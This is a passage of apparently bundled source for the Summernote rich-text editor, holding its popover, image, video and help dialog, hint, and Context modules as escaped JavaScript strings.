this.$popover.find('a').attr('href', href).html(href);\n\n      const pos = dom.posFromPlaceholder(anchor);\n      this.$popover.css({\n        display: 'block',\n        left: pos.left,\n        top: pos.top\n      });\n    } else {\n      this.hide();\n    }\n  }\n\n  hide() {\n    this.$popover.hide();\n  }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport key from '../core/key';\n\nexport default class ImageDialog {\n  constructor(context) {\n    this.context = context;\n    this.ui = $.summernote.ui;\n    this.$body = $(document.body);\n    this.$editor = context.layoutInfo.editor;\n    this.options = context.options;\n    this.lang = this.options.langInfo;\n  }\n\n  initialize() {\n    const $container = this.options.dialogsInBody ? this.$body : this.$editor;\n\n    let imageLimitation = '';\n    if (this.options.maximumImageFileSize) {\n      const unit = Math.floor(Math.log(this.options.maximumImageFileSize) / Math.log(1024));\n      const readableSize = (this.options.maximumImageFileSize / Math.pow(1024, unit)).toFixed(2) * 1 +\n                         ' ' + ' KMGTP'[unit] + 'B';\n      imageLimitation = `<small>${this.lang.image.maximumFileSize + ' : ' + readableSize}</small>`;\n    }\n\n    const body = [\n      '<div class=\"form-group note-form-group note-group-select-from-files\">',\n      '<label class=\"note-form-label\">' + this.lang.image.selectFromFiles + '</label>',\n      '<input class=\"note-image-input note-form-control note-input\" ',\n      ' type=\"file\" name=\"files\" accept=\"image/*\" multiple=\"multiple\" />',\n      imageLimitation,\n      '</div>',\n      '<div class=\"form-group note-group-image-url\" style=\"overflow:auto;\">',\n      '<label class=\"note-form-label\">' + this.lang.image.url + '</label>',\n      '<input class=\"note-image-url form-control note-form-control note-input ',\n      ' col-md-12\" type=\"text\" />',\n      '</div>'\n    ].join('');\n    const buttonClass = 'btn btn-primary note-btn note-btn-primary note-image-btn';\n    const footer = `<button type=\"submit\" href=\"#\" class=\"${buttonClass}\" disabled>${this.lang.image.insert}</button>`;\n\n    this.$dialog = this.ui.dialog({\n      title: this.lang.image.insert,\n      fade: this.options.dialogsFade,\n      body: body,\n      footer: footer\n    }).render().appendTo($container);\n  }\n\n  destroy() {\n    this.ui.hideDialog(this.$dialog);\n    this.$dialog.remove();\n  }\n\n  bindEnterKey($input, $btn) {\n    $input.on('keypress', (event) => {\n      if (event.keyCode === key.code.ENTER) {\n        event.preventDefault();\n        $btn.trigger('click');\n      }\n    });\n  }\n\n  show() {\n    this.context.invoke('editor.saveRange');\n    this.showImageDialog().then((data) => {\n      // [workaround] hide dialog before restore range for IE range focus\n      this.ui.hideDialog(this.$dialog);\n      this.context.invoke('editor.restoreRange');\n\n      if (typeof data === 'string') { // image url\n        this.context.invoke('editor.insertImage', data);\n      } else { // array of files\n        this.context.invoke('editor.insertImagesOrCallback', data);\n      }\n    }).fail(() => {\n      this.context.invoke('editor.restoreRange');\n    });\n  }\n\n  /**\n   * show image dialog\n   *\n   * @param {jQuery} $dialog\n   * @return {Promise}\n   */\n  showImageDialog() {\n    return $.Deferred((deferred) => {\n      const $imageInput = this.$dialog.find('.note-image-input');\n      const $imageUrl = this.$dialog.find('.note-image-url');\n      const $imageBtn = this.$dialog.find('.note-image-btn');\n\n      this.ui.onDialogShown(this.$dialog, () => {\n        this.context.triggerEvent('dialog.shown');\n\n        // Cloning imageInput to clear element.\n        $imageInput.replaceWith($imageInput.clone().on('change', (event) => {\n          deferred.resolve(event.target.files || event.target.value);\n        }).val(''));\n\n        $imageBtn.click((event) => {\n          event.preventDefault();\n\n          deferred.resolve($imageUrl.val());\n        });\n\n        $imageUrl.on('keyup paste', () => {\n          const url = $imageUrl.val();\n          this.ui.toggleBtn($imageBtn, url);\n        }).val('');\n\n        if (!env.isSupportTouch) {\n          $imageUrl.trigger('focus');\n        }\n        this.bindEnterKey($imageUrl, $imageBtn);\n      });\n\n      this.ui.onDialogHidden(this.$dialog, () => {\n        $imageInput.off('change');\n        $imageUrl.off('keyup paste keypress');\n        $imageBtn.off('click');\n\n        if (deferred.state() === 'pending') {\n          deferred.reject();\n        }\n      });\n\n      this.ui.showDialog(this.$dialog);\n    });\n  }\n}\n","import $ from 'jquery';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\n\n/**\n * Image popover module\n *  mouse events that show/hide popover will be handled by Handle.js.\n *  Handle.js will receive the events and invoke 'imagePopover.update'.\n */\nexport default class ImagePopover {\n  constructor(context) {\n    this.context = context;\n    this.ui = $.summernote.ui;\n\n    this.editable = context.layoutInfo.editable[0];\n    this.options = context.options;\n\n    this.events = {\n      'summernote.disable': () => {\n        this.hide();\n      }\n    };\n  }\n\n  shouldInitialize() {\n    return !lists.isEmpty(this.options.popover.image);\n  }\n\n  initialize() {\n    this.$popover = this.ui.popover({\n      className: 'note-image-popover'\n    }).render().appendTo(this.options.container);\n    const $content = this.$popover.find('.popover-content,.note-popover-content');\n    this.context.invoke('buttons.build', $content, this.options.popover.image);\n  }\n\n  destroy() {\n    this.$popover.remove();\n  }\n\n  update(target) {\n    if (dom.isImg(target)) {\n      const pos = dom.posFromPlaceholder(target);\n      const posEditor = dom.posFromPlaceholder(this.editable);\n      this.$popover.css({\n        display: 'block',\n        left: this.options.popatmouse ? event.pageX - 20 : pos.left,\n        top: this.options.popatmouse ? event.pageY : Math.min(pos.top, posEditor.top)\n      });\n    } else {\n      this.hide();\n    }\n  }\n\n  hide() {\n    this.$popover.hide();\n  }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\n\nexport default class TablePopover {\n  constructor(context) {\n    this.context = context;\n\n    this.ui = $.summernote.ui;\n    this.options = context.options;\n    this.events = {\n      'summernote.mousedown': (we, e) => {\n        this.update(e.target);\n      },\n      'summernote.keyup summernote.scroll summernote.change': () => {\n        this.update();\n      },\n      'summernote.disable': () => {\n        this.hide();\n      }\n    };\n  }\n\n  shouldInitialize() {\n    return !lists.isEmpty(this.options.popover.table);\n  }\n\n  initialize() {\n    this.$popover = this.ui.popover({\n      className: 'note-table-popover'\n    }).render().appendTo(this.options.container);\n    const $content = this.$popover.find('.popover-content,.note-popover-content');\n\n    this.context.invoke('buttons.build', $content, this.options.popover.table);\n\n    // [workaround] Disable Firefox's default table editor\n    if (env.isFF) {\n      document.execCommand('enableInlineTableEditing', false, false);\n    }\n  }\n\n  destroy() {\n    this.$popover.remove();\n  }\n\n  update(target) {\n    if (this.context.isDisabled()) {\n      return false;\n    }\n\n    const isCell = dom.isCell(target);\n\n    if (isCell) {\n      const pos = dom.posFromPlaceholder(target);\n      this.$popover.css({\n        display: 'block',\n        left: pos.left,\n        top: pos.top\n      });\n    } else {\n      this.hide();\n    }\n\n    return isCell;\n  }\n\n  hide() {\n    this.$popover.hide();\n  }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport key from '../core/key';\n\nexport default class VideoDialog {\n  constructor(context) {\n    this.context = context;\n\n    this.ui = $.summernote.ui;\n    this.$body = $(document.body);\n    this.$editor = context.layoutInfo.editor;\n    this.options = context.options;\n    this.lang = this.options.langInfo;\n  }\n\n  initialize() {\n    const $container = this.options.dialogsInBody ? this.$body : this.$editor;\n\n    const body = [\n      '<div class=\"form-group note-form-group row-fluid\">',\n      `<label class=\"note-form-label\">${this.lang.video.url} <small class=\"text-muted\">${this.lang.video.providers}</small></label>`,\n      '<input class=\"note-video-url form-control note-form-control note-input\" type=\"text\" />',\n      '</div>'\n    ].join('');\n    const buttonClass = 'btn btn-primary note-btn note-btn-primary note-video-btn';\n    const footer = `<button type=\"submit\" href=\"#\" class=\"${buttonClass}\" disabled>${this.lang.video.insert}</button>`;\n\n    this.$dialog = this.ui.dialog({\n      title: this.lang.video.insert,\n      fade: this.options.dialogsFade,\n      body: body,\n      footer: footer\n    }).render().appendTo($container);\n  }\n\n  destroy() {\n    this.ui.hideDialog(this.$dialog);\n    this.$dialog.remove();\n  }\n\n  bindEnterKey($input, $btn) {\n    $input.on('keypress', (event) => {\n      if (event.keyCode === key.code.ENTER) {\n        event.preventDefault();\n        $btn.trigger('click');\n      }\n    });\n  }\n\n  createVideoNode(url) {\n    // video url patterns(youtube, instagram, vimeo, dailymotion, youku, mp4, ogg, webm)\n    const ytRegExp = /^(?:https?:\\/\\/)?(?:www\\.)?(?:youtu\\.be\\/|youtube\\.com\\/(?:embed\\/|v\\/|watch\\?v=|watch\\?.+&v=))((\\w|-){11})(?:\\S+)?$/;\n    const ytMatch = url.match(ytRegExp);\n\n    const igRegExp = /(?:www\\.|\\/\\/)instagram\\.com\\/p\\/(.[a-zA-Z0-9_-]*)/;\n    const igMatch = url.match(igRegExp);\n\n    const vRegExp = /\\/\\/vine\\.co\\/v\\/([a-zA-Z0-9]+)/;\n    const vMatch = url.match(vRegExp);\n\n    const vimRegExp = /\\/\\/(player\\.)?vimeo\\.com\\/([a-z]*\\/)*(\\d+)[?]?.*/;\n    const vimMatch = url.match(vimRegExp);\n\n    const dmRegExp = /.+dailymotion.com\\/(video|hub)\\/([^_]+)[^#]*(#video=([^_&]+))?/;\n    const dmMatch = url.match(dmRegExp);\n\n    const youkuRegExp = /\\/\\/v\\.youku\\.com\\/v_show\\/id_(\\w+)=*\\.html/;\n    const youkuMatch = url.match(youkuRegExp);\n\n    const qqRegExp = /\\/\\/v\\.qq\\.com.*?vid=(.+)/;\n    const qqMatch = url.match(qqRegExp);\n\n    const qqRegExp2 = /\\/\\/v\\.qq\\.com\\/x?\\/?(page|cover).*?\\/([^\\/]+)\\.html\\??.*/;\n    const qqMatch2 = url.match(qqRegExp2);\n\n    const mp4RegExp = /^.+.(mp4|m4v)$/;\n    const mp4Match = url.match(mp4RegExp);\n\n    const oggRegExp = /^.+.(ogg|ogv)$/;\n    const oggMatch = url.match(oggRegExp);\n\n    const webmRegExp = /^.+.(webm)$/;\n    const webmMatch = url.match(webmRegExp);\n\n    let $video;\n    if (ytMatch && ytMatch[1].length === 11) {\n      const youtubeId = ytMatch[1];\n      $video = $('<iframe>')\n        .attr('frameborder', 0)\n        .attr('src', '//www.youtube.com/embed/' + youtubeId)\n        .attr('width', '640').attr('height', '360');\n    } else if (igMatch && igMatch[0].length) {\n      $video = $('<iframe>')\n        .attr('frameborder', 0)\n        .attr('src', 'https://instagram.com/p/' + igMatch[1] + '/embed/')\n        .attr('width', '612').attr('height', '710')\n        .attr('scrolling', 'no')\n        .attr('allowtransparency', 'true');\n    } else if (vMatch && vMatch[0].length) {\n      $video = $('<iframe>')\n        .attr('frameborder', 0)\n        .attr('src', vMatch[0] + '/embed/simple')\n        .attr('width', '600').attr('height', '600')\n        .attr('class', 'vine-embed');\n    } else if (vimMatch && vimMatch[3].length) {\n      $video = $('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>')\n        .attr('frameborder', 0)\n        .attr('src', '//player.vimeo.com/video/' + vimMatch[3])\n        .attr('width', '640').attr('height', '360');\n    } else if (dmMatch && dmMatch[2].length) {\n      $video = $('<iframe>')\n        .attr('frameborder', 0)\n        .attr('src', '//www.dailymotion.com/embed/video/' + dmMatch[2])\n        .attr('width', '640').attr('height', '360');\n    } else if (youkuMatch && youkuMatch[1].length) {\n      $video = $('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>')\n        .attr('frameborder', 0)\n        .attr('height', '498')\n        .attr('width', '510')\n        .attr('src', '//player.youku.com/embed/' + youkuMatch[1]);\n    } else if ((qqMatch && qqMatch[1].length) || (qqMatch2 && qqMatch2[2].length)) {\n      const vid = ((qqMatch && qqMatch[1].length) ? qqMatch[1] : qqMatch2[2]);\n      $video = $('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>')\n        .attr('frameborder', 0)\n        .attr('height', '310')\n        .attr('width', '500')\n        .attr('src', 'http://v.qq.com/iframe/player.html?vid=' + vid + '&amp;auto=0');\n    } else if (mp4Match || oggMatch || webmMatch) {\n      $video = $('<video controls>')\n        .attr('src', url)\n        .attr('width', '640').attr('height', '360');\n    } else {\n      // this is not a known video link. Now what, Cat? Now what?\n      return false;\n    }\n\n    $video.addClass('note-video-clip');\n\n    return $video[0];\n  }\n\n  show() {\n    const text = this.context.invoke('editor.getSelectedText');\n    this.context.invoke('editor.saveRange');\n    this.showVideoDialog(text).then((url) => {\n      // [workaround] hide dialog before restore range for IE range focus\n      this.ui.hideDialog(this.$dialog);\n      this.context.invoke('editor.restoreRange');\n\n      // build node\n      const $node = this.createVideoNode(url);\n\n      if ($node) {\n        // insert video node\n        this.context.invoke('editor.insertNode', $node);\n      }\n    }).fail(() => {\n      this.context.invoke('editor.restoreRange');\n    });\n  }\n\n  /**\n   * show image dialog\n   *\n   * @param {jQuery} $dialog\n   * @return {Promise}\n   */\n  showVideoDialog(text) {\n    return $.Deferred((deferred) => {\n      const $videoUrl = this.$dialog.find('.note-video-url');\n      const $videoBtn = this.$dialog.find('.note-video-btn');\n\n      this.ui.onDialogShown(this.$dialog, () => {\n        this.context.triggerEvent('dialog.shown');\n\n        $videoUrl.val(text).on('input', () => {\n          this.ui.toggleBtn($videoBtn, $videoUrl.val());\n        });\n\n        if (!env.isSupportTouch) {\n          $videoUrl.trigger('focus');\n        }\n\n        $videoBtn.click((event) => {\n          event.preventDefault();\n\n          deferred.resolve($videoUrl.val());\n        });\n\n        this.bindEnterKey($videoUrl, $videoBtn);\n      });\n\n      this.ui.onDialogHidden(this.$dialog, () => {\n        $videoUrl.off('input');\n        $videoBtn.off('click');\n\n        if (deferred.state() === 'pending') {\n          deferred.reject();\n        }\n      });\n\n      this.ui.showDialog(this.$dialog);\n    });\n  }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\n\nexport default class HelpDialog {\n  constructor(context) {\n    this.context = context;\n\n    this.ui = $.summernote.ui;\n    this.$body = $(document.body);\n    this.$editor = context.layoutInfo.editor;\n    this.options = context.options;\n    this.lang = this.options.langInfo;\n  }\n\n  initialize() {\n    const $container = this.options.dialogsInBody ? this.$body : this.$editor;\n\n    const body = [\n      '<p class=\"text-center\">',\n      '<a href=\"http://summernote.org/\" target=\"_blank\">Summernote @@VERSION@@</a> · ',\n      '<a href=\"https://github.com/summernote/summernote\" target=\"_blank\">Project</a> · ',\n      '<a href=\"https://github.com/summernote/summernote/issues\" target=\"_blank\">Issues</a>',\n      '</p>'\n    ].join('');\n\n    this.$dialog = this.ui.dialog({\n      title: this.lang.options.help,\n      fade: this.options.dialogsFade,\n      body: this.createShortcutList(),\n      footer: body,\n      callback: ($node) => {\n        $node.find('.modal-body,.note-modal-body').css({\n          'max-height': 300,\n          'overflow': 'scroll'\n        });\n      }\n    }).render().appendTo($container);\n  }\n\n  destroy() {\n    this.ui.hideDialog(this.$dialog);\n    this.$dialog.remove();\n  }\n\n  createShortcutList() {\n    const keyMap = this.options.keyMap[env.isMac ? 'mac' : 'pc'];\n    return Object.keys(keyMap).map((key) => {\n      const command = keyMap[key];\n      const $row = $('<div><div class=\"help-list-item\"/></div>');\n      $row.append($('<label><kbd>' + key + '</kdb></label>').css({\n        'width': 180,\n        'margin-right': 10\n      })).append($('<span/>').html(this.context.memo('help.' + command) || command));\n      return $row.html();\n    }).join('');\n  }\n\n  /**\n   * show help dialog\n   *\n   * @return {Promise}\n   */\n  showHelpDialog() {\n    return $.Deferred((deferred) => {\n      this.ui.onDialogShown(this.$dialog, () => {\n        this.context.triggerEvent('dialog.shown');\n        deferred.resolve();\n      });\n      this.ui.showDialog(this.$dialog);\n    }).promise();\n  }\n\n  show() {\n    this.context.invoke('editor.saveRange');\n    this.showHelpDialog().then(() => {\n      this.context.invoke('editor.restoreRange');\n    });\n  }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport func from '../core/func';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\n\nconst AIR_MODE_POPOVER_X_OFFSET = 20;\n\nexport default class AirPopover {\n  constructor(context) {\n    this.context = context;\n    this.ui = $.summernote.ui;\n    this.options = context.options;\n    this.events = {\n      'summernote.keyup summernote.mouseup summernote.scroll': () => {\n        this.update();\n      },\n      'summernote.disable summernote.change summernote.dialog.shown': () => {\n        this.hide();\n      },\n      'summernote.focusout': (we, e) => {\n        // [workaround] Firefox doesn't support relatedTarget on focusout\n        //  - Ignore hide action on focus out in FF.\n        if (env.isFF) {\n          return;\n        }\n\n        if (!e.relatedTarget || !dom.ancestor(e.relatedTarget, func.eq(this.$popover[0]))) {\n          this.hide();\n        }\n      }\n    };\n  }\n\n  shouldInitialize() {\n    return this.options.airMode && !lists.isEmpty(this.options.popover.air);\n  }\n\n  initialize() {\n    this.$popover = this.ui.popover({\n      className: 'note-air-popover'\n    }).render().appendTo(this.options.container);\n    const $content = this.$popover.find('.popover-content');\n\n    this.context.invoke('buttons.build', $content, this.options.popover.air);\n  }\n\n  destroy() {\n    this.$popover.remove();\n  }\n\n  update() {\n    const styleInfo = this.context.invoke('editor.currentStyle');\n    if (styleInfo.range && !styleInfo.range.isCollapsed()) {\n      const rect = lists.last(styleInfo.range.getClientRects());\n      if (rect) {\n        const bnd = func.rect2bnd(rect);\n        this.$popover.css({\n          display: 'block',\n          left: Math.max(bnd.left + bnd.width / 2, 0) - AIR_MODE_POPOVER_X_OFFSET,\n          top: bnd.top + bnd.height\n        });\n        this.context.invoke('buttons.updateCurrentStyle', this.$popover);\n      }\n    } else {\n      this.hide();\n    }\n  }\n\n  hide() {\n    this.$popover.hide();\n  }\n}\n","import $ from 'jquery';\nimport func from '../core/func';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\nimport range from '../core/range';\nimport key from '../core/key';\n\nconst POPOVER_DIST = 5;\n\nexport default class HintPopover {\n  constructor(context) {\n    this.context = context;\n\n    this.ui = $.summernote.ui;\n    this.$editable = context.layoutInfo.editable;\n    this.options = context.options;\n    this.hint = this.options.hint || [];\n    this.direction = this.options.hintDirection || 'bottom';\n    this.hints = $.isArray(this.hint) ? this.hint : [this.hint];\n\n    this.events = {\n      'summernote.keyup': (we, e) => {\n        if (!e.isDefaultPrevented()) {\n          this.handleKeyup(e);\n        }\n      },\n      'summernote.keydown': (we, e) => {\n        this.handleKeydown(e);\n      },\n      'summernote.disable summernote.dialog.shown': () => {\n        this.hide();\n      }\n    };\n  }\n\n  shouldInitialize() {\n    return this.hints.length > 0;\n  }\n\n  initialize() {\n    this.lastWordRange = null;\n    this.$popover = this.ui.popover({\n      className: 'note-hint-popover',\n      hideArrow: true,\n      direction: ''\n    }).render().appendTo(this.options.container);\n\n    this.$popover.hide();\n    this.$content = this.$popover.find('.popover-content,.note-popover-content');\n    this.$content.on('click', '.note-hint-item', () => {\n      this.$content.find('.active').removeClass('active');\n      $(this).addClass('active');\n      this.replace();\n    });\n  }\n\n  destroy() {\n    this.$popover.remove();\n  }\n\n  selectItem($item) {\n    this.$content.find('.active').removeClass('active');\n    $item.addClass('active');\n\n    this.$content[0].scrollTop = $item[0].offsetTop - (this.$content.innerHeight() / 2);\n  }\n\n  moveDown() {\n    const $current = this.$content.find('.note-hint-item.active');\n    const $next = $current.next();\n\n    if ($next.length) {\n      this.selectItem($next);\n    } else {\n      let $nextGroup = $current.parent().next();\n\n      if (!$nextGroup.length) {\n        $nextGroup = this.$content.find('.note-hint-group').first();\n      }\n\n      this.selectItem($nextGroup.find('.note-hint-item').first());\n    }\n  }\n\n  moveUp() {\n    const $current = this.$content.find('.note-hint-item.active');\n    const $prev = $current.prev();\n\n    if ($prev.length) {\n      this.selectItem($prev);\n    } else {\n      let $prevGroup = $current.parent().prev();\n\n      if (!$prevGroup.length) {\n        $prevGroup = this.$content.find('.note-hint-group').last();\n      }\n\n      this.selectItem($prevGroup.find('.note-hint-item').last());\n    }\n  }\n\n  replace() {\n    const $item = this.$content.find('.note-hint-item.active');\n\n    if ($item.length) {\n      const node = this.nodeFromItem($item);\n      // XXX: consider to move codes to editor for recording redo/undo.\n      this.lastWordRange.insertNode(node);\n      range.createFromNode(node).collapse().select();\n\n      this.lastWordRange = null;\n      this.hide();\n      this.context.triggerEvent('change', this.$editable.html(), this.$editable[0]);\n      this.context.invoke('editor.focus');\n    }\n  }\n\n  nodeFromItem($item) {\n    const hint = this.hints[$item.data('index')];\n    const item = $item.data('item');\n    let node = hint.content ? hint.content(item) : item;\n    if (typeof node === 'string') {\n      node = dom.createText(node);\n    }\n    return node;\n  }\n\n  createItemTemplates(hintIdx, items) {\n    const hint = this.hints[hintIdx];\n    return items.map((item, idx) => {\n      const $item = $('<div class=\"note-hint-item\"/>');\n      $item.append(hint.template ? hint.template(item) : item + '');\n      $item.data({\n        'index': hintIdx,\n        'item': item\n      });\n      return $item;\n    });\n  }\n\n  handleKeydown(e) {\n    if (!this.$popover.is(':visible')) {\n      return;\n    }\n\n    if (e.keyCode === key.code.ENTER) {\n      e.preventDefault();\n      this.replace();\n    } else if (e.keyCode === key.code.UP) {\n      e.preventDefault();\n      this.moveUp();\n    } else if (e.keyCode === key.code.DOWN) {\n      e.preventDefault();\n      this.moveDown();\n    }\n  }\n\n  searchKeyword(index, keyword, callback) {\n    const hint = this.hints[index];\n    if (hint && hint.match.test(keyword) && hint.search) {\n      const matches = hint.match.exec(keyword);\n      hint.search(matches[1], callback);\n    } else {\n      callback();\n    }\n  }\n\n  createGroup(idx, keyword) {\n    const $group = $('<div class=\"note-hint-group note-hint-group-' + idx + '\"/>');\n    this.searchKeyword(idx, keyword, (items) => {\n      items = items || [];\n      if (items.length) {\n        $group.html(this.createItemTemplates(idx, items));\n        this.show();\n      }\n    });\n\n    return $group;\n  }\n\n  handleKeyup(e) {\n    if (!lists.contains([key.code.ENTER, key.code.UP, key.code.DOWN], e.keyCode)) {\n      const wordRange = this.context.invoke('editor.createRange').getWordRange();\n      const keyword = wordRange.toString();\n      if (this.hints.length && keyword) {\n        this.$content.empty();\n\n        const bnd = func.rect2bnd(lists.last(wordRange.getClientRects()));\n        if (bnd) {\n          this.$popover.hide();\n          this.lastWordRange = wordRange;\n          this.hints.forEach((hint, idx) => {\n            if (hint.match.test(keyword)) {\n              this.createGroup(idx, keyword).appendTo(this.$content);\n            }\n          });\n          // select first .note-hint-item\n          this.$content.find('.note-hint-item:first').addClass('active');\n\n          // set position for popover after group is created\n          if (this.direction === 'top') {\n            this.$popover.css({\n              left: bnd.left,\n              top: bnd.top - this.$popover.outerHeight() - POPOVER_DIST\n            });\n          } else {\n            this.$popover.css({\n              left: bnd.left,\n              top: bnd.top + bnd.height + POPOVER_DIST\n            });\n          }\n        }\n      } else {\n        this.hide();\n      }\n    }\n  }\n\n  show() {\n    this.$popover.show();\n  }\n\n  hide() {\n    this.$popover.hide();\n  }\n}\n","import $ from 'jquery';\nimport func from './core/func';\nimport lists from './core/lists';\nimport dom from './core/dom';\n\nexport default class Context {\n  /**\n   * @param {jQuery} $note\n   * @param {Object} options\n   */\n  constructor($note, options) {\n    this.ui = $.summernote.ui;\n    this.$note = $note;\n\n    this.memos = {};\n    this.modules = {};\n    this.layoutInfo = {};\n    this.options = options;\n\n    this.initialize();\n  }\n\n  /**\n   * create layout and initialize modules and other resources\n   */\n  initialize() {\n    this.layoutInfo = this.ui.createLayout(this.$note, this.options);\n    this._initialize();\n    this.$note.hide();\n    return this;\n  }\n\n  /**\n   * destroy modules and other resources and remove layout\n   */\n  destroy() {\n    this._destroy();\n    this.$note.removeData('summernote');\n    this.ui.removeLayout(this.$note, this.layoutInfo);\n  }\n\n  /**\n   * destory modules and other resources and initialize it again\n   */\n  reset() {\n    const disabled = this.isDisabled();\n    this.code(dom.emptyPara);\n    this._destroy();\n    this._initialize();\n\n    if (disabled) {\n      this.disable();\n    }\n  }\n\n  _initialize() {\n    // add optional buttons\n    const buttons = $.extend({}, this.options.buttons);\n    Object.keys(buttons).forEach((key) => {\n      this.memo('button.' + key, buttons[key]);\n    });\n\n    const modules = $.extend({}, this.options.modules, $.summernote.plugins || {});\n\n    // add and initialize modules\n    Object.keys(modules).forEach((key) => {\n      this.module(key, modules[key], true);\n    });\n\n    Object.keys(this.modules).forEach((key) => {\n      this.initializeModule(key);\n    });\n  }\n\n  _destroy() {\n    // destroy modules with reversed order\n    Object.keys(this.modules).reverse().forEach((key) => {\n      this.removeModule(key);\n    });\n\n    Object.keys(this.memos).forEach((key) => {\n      this.removeMemo(key);\n    });\n    // trigger custom onDestroy callback\n    this.triggerEvent('destroy', this);\n  }\n\n  code(html) {\n    const isActivated = this.invoke('codeview.isActivated');\n\n    if (html === undefined) {\n      this.invoke('codeview.sync');\n      return isActivated ? this.layoutInfo.codable.val() : this.layoutInfo.editable.html();\n    } else {\n      if (isActivated) {\n        this.layoutInfo.codable.val(html);\n      } else {\n        this.layoutInfo.editable.html(html);\n      }\n      this.$note.val(html);\n      this.triggerEvent('change', html);\n    }\n  }\n\n  isDisabled() {\n    return this.layoutInfo.editable.attr('contenteditable') === 'false';\n  }\n\n  enable() {\n    this.layoutInfo.editable.attr('contenteditable', true);\n    this.invoke('toolbar.activate', true);\n    this.triggerEvent('disable', false);\n  }\n\n  disable() {\n    // close codeview if codeview is opend\n    if (this.invoke('codeview.isActivated')) {\n      this.invoke('codeview.deactivate');\n    }\n    this.layoutInfo.editable.attr('contenteditable', false);\n    this.invoke('toolbar.deactivate', true);\n\n    this.triggerEvent('disable', true);\n  }\n\n  triggerEvent() {\n    const namespace = lists.head(arguments);\n    const args = lists.tail(lists.from(arguments));\n\n    const callback = this.options.callbacks[func.namespaceToCamel(namespace, 'on')];\n    if (callback) {\n      callback.apply(this.$note[0], args);\n    }\n    this.$note.trigger('summernote.' + namespace, args);\n  }\n\n  initializeModule(key) {\n    const module = this.modules[key];\n    module.shouldInitialize = module.shouldInitialize || func.ok;\n    if (!module.shouldInitialize()) {\n      return;\n    }\n\n    // initialize module\n    if (module.initialize) {\n      module.initialize();\n    }\n\n    // attach events\n    if (module.events) {\n      dom.attachEvents(this.$note, module.events);\n    }\n  }\n\n  module(key, ModuleClass, withoutIntialize) {\n    if (arguments.length === 1) {\n      return this.modules[key];\n    }\n\n    this.modules[key] = new ModuleClass(this);\n\n    if (!withoutIntialize) {\n      this.initializeModule(key);\n    }\n  }\n\n  removeModule(key) {\n    const module = this.modules[key];\n    if (module.shouldInitialize()) {\n      if (module.events) {\n        dom.detachEvents(this.$note, module.events);\n      }\n\n      if (module.destroy) {\n        module.destroy();\n      }\n    }\n\n    delete this.modules[key];\n  }\n\n  memo(key, obj) {\n    if (arguments.length === 1) {\n      return this.memos[key];\n    }\n    this.memos[key] = obj;\n  }\n\n  removeMemo(key) {\n    if (this.memos[key] && this.memos[key].destroy) {\n      this.memos[key].destroy();\n    }\n\n    delete this.memos[key];\n  }\n\n  /**\n   * Some buttons need to change their visual style immediately once they get pressed\n   */\n  createInvokeHandlerAndUpdateState(namespace, value) {\n    return (event) => {\n      this.createInvokeHandler(namespace, value)(event);\n      this.invoke('buttons.updateCurrentStyle');\n    };\n  }\n\n  createInvokeHandler(namespace, value) {\n    return (event) => {\n      event.preventDefault();\n      const $target = $(event.target);\n      this.invoke(namespace, value || $target.closest('[data-value]').data('value'), $target);\n    };\n  }\n\n  invoke() {\n    const namespace = lists.head(arguments);\n    const args = lists.tail(lists.from(arguments));\n\n    const splits = namespace.split('.');\n    const hasSeparator = splits.length > 1;\n    const moduleName = hasSeparator && lists.head(splits);\n    const methodName = hasSeparator ? lists.last(splits) : lists.head(splits);\n\n    const module = this.modules[moduleName || 'editor'];\n    if (!moduleName && this[methodName]) {\n      return this[methodName].apply(this, args);\n    } else if (module && module[methodName] && module.shouldInitialize()) {\n      return module[methodName].apply(module, args);\n    }\n  }\n}\n","import $ from 'jquery';\nimport env from './base/core/env';\nimport lists from './base/core/lists';\nimport Context from './base/Context';\n\n$.fn.extend({\n  /**\n   * Summernote API\n   *\n   * @param {Object|String}\n   * @return {this}\n   */\n  summernote: function() {\n    const type = $.type(lists.head(arguments));\n    const isExternalAPICalled = type === 'string';\n    const hasInitOptions = type === 'object';\n\n    const options = $.extend({}, $.summernote.options, hasInitOptions ? lists.head(arguments) : {});\n\n    // Update options\n    options.langInfo = $.extend(true, {}, $.summernote.lang['en-US'], $.summernote.lang[options.lang]);\n    options.icons = $.extend(true, {}, $.summernote.options.icons, options.icons);\n    options.tooltip = options.tooltip === 'auto' ? !env.isSupportTouch : options.tooltip;\n\n    this.each((idx, note) => {\n      const $note = $(note);\n      if (!$note.data('summernote')) {\n        const context = new Context($note, options);\n        $note.data('summernote', context);\n        $note.data('summernote').triggerEvent('init', context.layoutInfo);\n      }\n    });\n\n    const $note = this.first();\n    if ($note.length) {\n      const context = $note.data('summernote');\n      if (isExternalAPICalled) {\n        return context.invoke.apply(context, lists.from(arguments));\n      } else if (options.focus) {\n        context.invoke('editor.focus');\n      }\n    }\n\n    return this;\n  }\n});\n","import $ from 'jquery';\nimport ui from '../bs3/ui';\nimport dom from '../base/core/dom';\nimport '../base/summernote-en-US';\nimport Editor from '../base/module/Editor';\nimport Clipboard from '../base/module/Clipboard';\nimport Dropzone from '../base/module/Dropzone';\nimport Codeview from '../base/module/Codeview';\nimport Statusbar from '../base/module/Statusbar';\nimport Fullscreen from '../base/module/Fullscreen';\nimport Handle from '../base/module/Handle';\nimport AutoLink from '../base/module/AutoLink';\nimport AutoSync from '../base/module/AutoSync';\nimport Placeholder from '../base/module/Placeholder';\nimport Buttons from '../base/module/Buttons';\nimport Toolbar from '../base/module/Toolbar';\nimport LinkDialog from '../base/module/LinkDialog';\nimport LinkPopover from '../base/module/LinkPopover';\nimport ImageDialog from '../base/module/ImageDialog';\nimport ImagePopover from '../base/module/ImagePopover';\nimport TablePopover from '../base/module/TablePopover';\nimport VideoDialog from '../base/module/VideoDialog';\nimport HelpDialog from '../base/module/HelpDialog';\nimport AirPopover from '../base/module/AirPopover';\nimport HintPopover from '../base/module/HintPopover';\n\n$.summernote = $.extend($.summernote, {\n  version: '@@VERSION@@',\n  ui: ui,\n  dom: dom,\n\n  